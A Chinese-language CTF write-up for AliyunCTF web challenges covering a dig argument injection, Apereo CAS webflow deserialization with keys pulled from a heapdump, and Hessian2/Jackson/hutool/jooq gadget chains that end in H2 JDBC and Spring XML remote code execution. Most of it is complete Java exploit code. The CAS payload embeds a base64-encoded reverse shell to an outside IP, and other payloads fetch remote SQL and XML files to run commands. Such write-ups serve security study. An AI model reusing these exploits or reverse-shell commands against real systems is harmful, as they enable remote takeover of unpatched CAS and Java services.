web签到

比较简答,type处能注,使用 -f 参数读文件

POST /digHandler HTTP/1.1
Host: web0.aliyunctf.com:34022
Content-Length: 40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://web0.aliyunctf.com:47285
Referer: http://web0.aliyunctf.com:47285/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"domain":"localhost","type":"-f\/flag"}

easy CAS

和4.x的反序列化类似,登录的execution参数会解密然后反序列化

execution值经过 org.apereo.cas.web.flow.executor.ClientFlowExecutionKey#parse —> org.apereo.cas.web.flow.executor.ClientFlowExecutionRepository#getFlowExecution —> org.apereo.cas.web.flow.executor.EncryptedTranscoder#decode —> readObject

关键是要知道两个参数 secretKeyEncryptionsecretKetSigning才可以伪造恶意反序列化数据

参考 https://web.archive.org/web/20201015040936/https://apereo.github.io/cas/5.3.x/installation/Monitoring-Statistics.html

发现有个 /status/mapping 接口,访问下发现给的接口还有 /status/heapdump 接口

http://web3.aliyunctf.com:39012/login?service=http://web3.aliyunctf.com:39012/status/dashboard 访问,输入默认的账号密码,然后下载 heapdump ,利用 MAT :https://www.eclipse.org/mat/downloads.php 查找 secretKeyEncryptionsecretKetSigning

之后构造序列化payload即可

用无cc的cb链可以打

import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apereo.cas.CipherExecutor;
import org.apereo.cas.util.cipher.BaseBinaryCipherExecutor;
import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;
import org.apereo.cas.web.flow.executor.WebflowCipherBean;
import org.apereo.spring.webflow.plugin.ClientFlowExecutionKey;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Objects;
import java.util.PriorityQueue;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;


public class Test {
    public static void main(String[] args) throws Exception {

        //序列化的数据
        byte[] bytes = genGadgetBytes();

        String secretKeyEncryption = Base64.getEncoder().encodeToString(new byte[] {-108, -54, -116, 85, -42, 107, 77, -44, 48, -93, -62, 71, 126, 2, 71, -111});

        String secretKetSigning = new String(new byte[] {65,106,85,105,69,97,111,106,95,87,83,85,78,104,111,78,117,78,117,109,85,119,89,108,70,54,98,103,68,68,86,51,120,98,88,85,65,52,89,85,90,97,101,49,109,79,51,107,118,66,82,118,77,108,117,114,86,105,114,51,81,90,121,119,82,121,115,85,116,45,122,100,120,110,99,87,120,83,69,95,79,65,95,79,86,65});

        CipherExecutor cipherExecutor = new WebflowConversationStateCipherExecutor(secretKeyEncryption, secretKetSigning, "AES", 512, 16, "webflow");

        WebflowCipherBean webflowCipherBean = new WebflowCipherBean(cipherExecutor);

        byte[] cipherBytes = webflowCipherBean.encrypt(bytes);

//        System.out.println(new String(cipherBytes));
        System.out.println(Base64.getEncoder().encodeToString(cipherBytes));

    }

    public static byte[] makeByteCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(MyTemplate.class.getName());
        String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExMS4yMjkuODguMTQ1Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("NormalClass");
        return ctClass.toBytecode();
    }

    public static byte[] genGadgetBytes() throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{makeByteCode()});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);
        gzipOutputStream.write(byteArrayOutputStream.toByteArray());
        gzipOutputStream.flush();
        gzipOutputStream.close();

        return baos.toByteArray();
    }

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }

}

然后看了其他队伍的wp发现还有更简单的做法,由于这是4年前的项目,又用了 log4j,还开启了debug,所以直接用log4j就能打,用户名这里会进行日志记录,在用户名这打log4j就行。

chain17 (复现)

这题只和队友一起做到 agent 那里,后面没时间打 server了

agent

agent给了个Hessian2反序列化的接口和一个原生反序列化的Bean 类,但这个原生的反序列化黑名单 ban 的很死,很难绕过

hessian2反序列化时如果对象实现了 Map 接口,那么会调用其 put 方法添加数据(题目给的hessian版本比较新,只能反序列化实现了 Serializable 接口的对象)

image-20240328140248708

hutool的 JSONObject 类的 putset方法可以触发对象的 getter 方法

image-20240328145601873

后续 set –> JSONUtil.wrap –> new JSONObject() –> getter

image-20240328145950900

一开始想的是直接用hessian2的反序列化触发 cn.hutool.json.JSONObjectput 方法,然后调用任意 getter 方法,但限制太大 ,

hutool 调getter必须要满足目标对象存在 getter 所对应的属性才行,如 Bean 中的 getObject 方法要想调用,那么其必须要有名为 object 的属性才可以

image-20240328150544026

所以想用 cn.hutool.json.JSONObject 直接触发 getter 的想法破灭了

由于Hessian2反序列化在jdk17下是受module机制影响的,所以利用 XString 触发 POJONodetoString 方法也是不行了

后面题目放了提示

Hint: JSONObject -> AtomicReference

虽然 Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了

然后根据提示配合 POJONode 找到了调用任意 getter 的链子

调用栈如下

nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:239, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:4220, String (java.lang)
toString:276, AtomicReference (java.util.concurrent.atomic)
wrap:801, JSONUtil (cn.hutool.json)
set:393, JSONObject (cn.hutool.json)
set:352, JSONObject (cn.hutool.json)
put:340, JSONObject (cn.hutool.json)
put:32, JSONObject (cn.hutool.json)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)

cn.hutool.json.JSONUtil#wrap 方法在处理 jdk 内部时会调用其 toString 方法,而 java.util.concurrent.atomic.AtomicReferencetoString 方法又会调用其内部 value 字段的 toString 方法,这样一来就可以触发 POJONodetoString

然后还有一个点就是 jackson 的链子中 getter 方法的触发是会接着其返回值连续触发的

Bean中的 getObject 方法有返回值,且返回的是一个对象

所以就可以利用 Hessian2 和Bean中的原生反序列化打一个组合拳,绕过黑名单限制来触发相关的 getter 方法

后面就找一个可以利用 getter 来打的类就行,对于 getter 相关的 gadget,比较常见的就是利用 jdbc 来打了,除去黑名单中的类,可以找到 cn.hutool.db.ds.DSFactory 这个类

getDataSource 方法可以打一个jdbc,然后又有 h2 的依赖,所以可以打 jdbc h2 的链子来rce

exp

import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.LinkedHashMap;
import java.util.concurrent.atomic.AtomicReference;

public class Test {
    public static void main(String[] args) throws Exception {

        Bean bean = new Bean();
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) unsafeField.get(null);
        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("initialSize", "1");
        setting.set("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'");
        setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
        setFieldValue(pooledDSFactory, "setting", setting);

        bean.setData(getObjectBytes(pooledDSFactory));
        POJONode node = new POJONode(bean);
        AtomicReference<POJONode> atomicReference = new AtomicReference<>();
        atomicReference.set(node);
        JSONObject json = new JSONObject();
        LinkedHashMap map = new LinkedHashMap();
        map.put("1", atomicReference);
        setFieldValue(json, "raw", map);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(json);
        hessian2Output.flush();
        hessian2Output.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object object = hessian2Input.readObject();
        System.out.println(object);
    }

    public static byte[] getObjectBytes(Object obj) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        return byteArrayOutputStream.toByteArray();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
    {
        Class<?> clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj, value);
                return;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
}

远程恶意sql文件

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "ok";}';CALL EXEC ('calc')

这样就在目标主机上执行了任意命令

server

然后就是在agent上打server的原生反序列化了

server上只有一个 jooq 的依赖,但又jackson的依赖,所以还是可以打 jackson 的原生反序列化,但由于是jdk17,所以得在 jooq 中找个可利用的 getter 才行

使用如下原生反序列化链触发 SpEL 表达式执行:

EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

exp

import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {

    public static void main(String[] args) throws Exception {
        gen("http://localhost:8000/poc.xml");
    }

    public static void gen(String url) throws Exception{
        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;

        ReflectUtil.setFieldValue(val, "value", value);
        ReflectUtil.setFieldValue(tableDataType, "uType", type);

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        POJONode pojoNode = new POJONode(convertedVal);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        byte[] data = SerializeUtil.serialize(eventListenerList);

        System.out.println(Base64.getEncoder().encodeToString(data));
    }

}

在攻击者 VPS 准备如下.xml,里面的 exec 部分用来执行指令,可以使用反弹 shell 读取 flag。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('touch /tmp/pwnned')}"/>
    </bean>
</beans>

server这个链子确实自己挖不出来,还是得靠 tabby 才行呀

Pastbin

没做,参考官方wp https://xz.aliyun.com/t/14190#toc-6

官方wp

https://xz.aliyun.com/t/14190